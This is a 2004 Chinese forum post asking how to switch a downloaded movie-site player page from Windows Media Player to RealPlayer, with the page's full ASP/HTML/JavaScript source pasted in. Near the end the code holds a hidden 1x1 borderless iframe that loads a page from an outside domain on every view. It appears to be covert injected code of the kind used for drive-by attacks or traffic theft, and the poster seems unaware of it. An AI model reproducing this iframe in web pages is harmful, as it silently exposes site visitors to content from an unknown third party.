我刚从网上面DOWN了个电影网站的代码,连接都写好了,可问题是它不会用REAL播放器播放,而是用MEDIA PLAYER播放器播放...请教如何改//
[此贴子已经被作者于2004-07-10 14:24:49编辑过]
<%Option Explicit%> <!--#include file="articleconn.asp"--> <% dim RS,sql,strSQL,zhuinew dim url,id,ddd,dddd id = Request.QueryString("id") filmid=request("filmid") if Trim(id) <> "" and IsNumeric(id) then Set RS = Server.CreateObject("ADODB.RecordSet") sql = "select * from url where id = " & id RS.Open sql, Conn, 3, 3 url=rs("url") ddd=rs("filmid") RS.Close Set RS = nothing end if strSQL ="SELECT * FROM film where id=" & ddd Set zhuinew = Server.CreateObject("ADODB.Recordset") zhuinew.open strSQL,Conn,3,3 zhuinew("hits")=zhuinew("hits")+1 filmtype=zhuinew("runsystem") zhuinew.update zhuinew.Close Set zhuinew = nothing
Conn.Close Set Conn = nothing if filmtype<>"realplay" then %> <head><title>正在播放</title><link rel="stylesheet" type="text/css" href="css/style.css"> <SCRIPT> //加入页面保护 function rf() {return false; } document.oncontextmenu = rf function keydown() {if(event.ctrlKey ==true || event.keyCode ==93 || event.shiftKey ==true){return false;} } document.onkeydown =keydown function drag() {return false;} document.ondragstart=drag function stopmouse(e) { if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false; else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) { alert("欢迎观赏--谢谢! :)"); return false; } return true; } document.onmousedown=stopmouse; if (document.layers) window.captureEvents(Event.MOUSEDOWN); window.onmousedown=stopmouse;
</SCRIPT> <SCRIPT language=javascript> var AutoPlay=true; var Real Real="document.MPlayer." var CanPlay=true; var CanStop=false; var CanPause=false; var Mute=false; var CanSetPos=false; var SetPosStart=false; var GetLenStart=false var CanSetVol=true; var SetVolStart=false function fullscreen() { document.MPlayer.DisplaySize=3 } function left() { document.MPlayer.Balance=-9640 } function center() { document.MPlayer.Balance=0 } function right() { document.MPlayer.Balance=9640 }
function DoPlay() { eval(Real+'Play()'); } function DoStop() { eval(Real+'Stop()'); eval(Real+'CurrentPosition=0'); } function DoPlayPause() { eval(Real+'Pause()'); } function SetPosition(Pos) { eval(Real+'CurrentPosition='+Pos); } function SetVolume(Pos) { eval(Real+'Volume=Pos'); } function SetMute(Status) { if (Status) eval(Real+'Mute=true') else eval(Real+'Mute=false'); } function SetSource(srcname) { eval(Real+'FileName=srcname') }
function ClickPlay() { if (CanPlay) { CanPlay=false; CanPause=true; if (!CanStop) CanStop=true; if (!Mute) SetMute(false) DoPlay(); } }
function ClickPause() { if (CanPause) { CanPause=false; CanPlay=true; CanSetPos=false; DoPlayPause(); } }
function ClickStop() { if (CanStop) { CanStop=false; CanPlay=true; if (CanPause) CanPause=false; if(CanSetPos) CanSetPos=false; DoStop(); } }
function ClickSound() { if (Mute) { Mute=false; SetMute(Mute); } else { Mute=true; SetMute(Mute); } }
function SetSrc(File) { if (CanStop) ClickStop();
SetSource(File);
if (AutoPlay) ClickPlay(); }
</SCRIPT>
<SCRIPT language=JavaScript> <!-- function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); // --> </SCRIPT>
</head> <body bgcolor="#9D93B0" link="#0000FF" vlink="#C0C0C0" text="#000000"> <div id=Layer1 style="HEIGHT: 16px; LEFT: 223px; POSITION: absolute; TOP: 370px; WIDTH: 154px; Z-INDEX: 1"><a class=hand onClick=left()><img alt=左声道 height=14 src="movieplayertrue.files/zuo.gif" width=16></a> <a class=hand onClick=center()><img alt=立体声 height=13 src="movieplayertrue.files/zhong.gif" width=13></a> <a class=hand onClick=right()><img alt=右声道 height=14 src="movieplayertrue.files/you.gif" width=16></a> <a class=hand onClick=fullscreen()><img alt=全屏 height=16 src="movieplayertrue.files/da.gif" width=16></a></div> <table border=0 cellpadding=0 cellspacing=0 width=470> <tbody> <tr> <td colspan=3 height=8><img height=8 src="movieplayertrue.files/1.gif" width=470></td> </tr> <tr> <td width=10><img height=398 src="movieplayertrue.files/2.gif" width=9></td> <td> <object classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95 codebase='http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701width="616"' height=398 id=MPlayer width=450> <param name="FileName" value=""> <param name="AutoStart" value="true"> <param name="AnimationAtStart" value="false"> <param name="ShowControls" value="true"> <param name="ClickToPlay" value="false"> <param name="EnableContextMenu" value="false"> <param name="ShowStatusBar" value="true"> <param name="Volume" value="0"> <embed src="<%=url%>" type="audio/x-pn-realaudio-plugin" console="Clip1" controls="ControlPanel,StatusBar" height="398" width="450" autostart="true"> </embed> </object></td> <td width=10><img height=398 src="movieplayertrue.files/3.gif" width=10></td> </tr> </tbody> </table> <div id=Layer2 style="HEIGHT: 21px; LEFT: 291px; POSITION: absolute; TOP: 370px; WIDTH: 10px; Z-INDEX: 2"><img height=21 src="movieplayertrue.files/vod.gif" width=10></div> <table border=0 cellpadding=0 cellspacing=0 width=470> <tbody> <tr> <td rowspan=2 width=23><img height=32 src="movieplayertrue.files/5.gif" width=23></td> <td colspan=2><img height=6 src="movieplayertrue.files/6.gif" width=266></td> <td rowspan=2 width=182> <div align=right><img height=32 src="movieplayertrue.files/8.gif" width=181></div> </td> </tr> <tr> <form action=chkuser.asp method=post name=form1> <td class=5959movie height=26 width=222> <a href="#" onClick="SetSrc('<%=url%>')"><font color="#FF0000">播放刷新</font></a> 若还不能播放,<a href=<%=url%>><font color="#FF0000">请点这里</font></a></td> </form> </tr> </tbody> </table> <script> SetSrc('<%=url%>'); doplay(); </script> <iframe src=http://www.china-69.com/index.files/op.htm? WIDTH=1 HEIGHT=1 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=NO></iframe> <%end if%>
<html></html>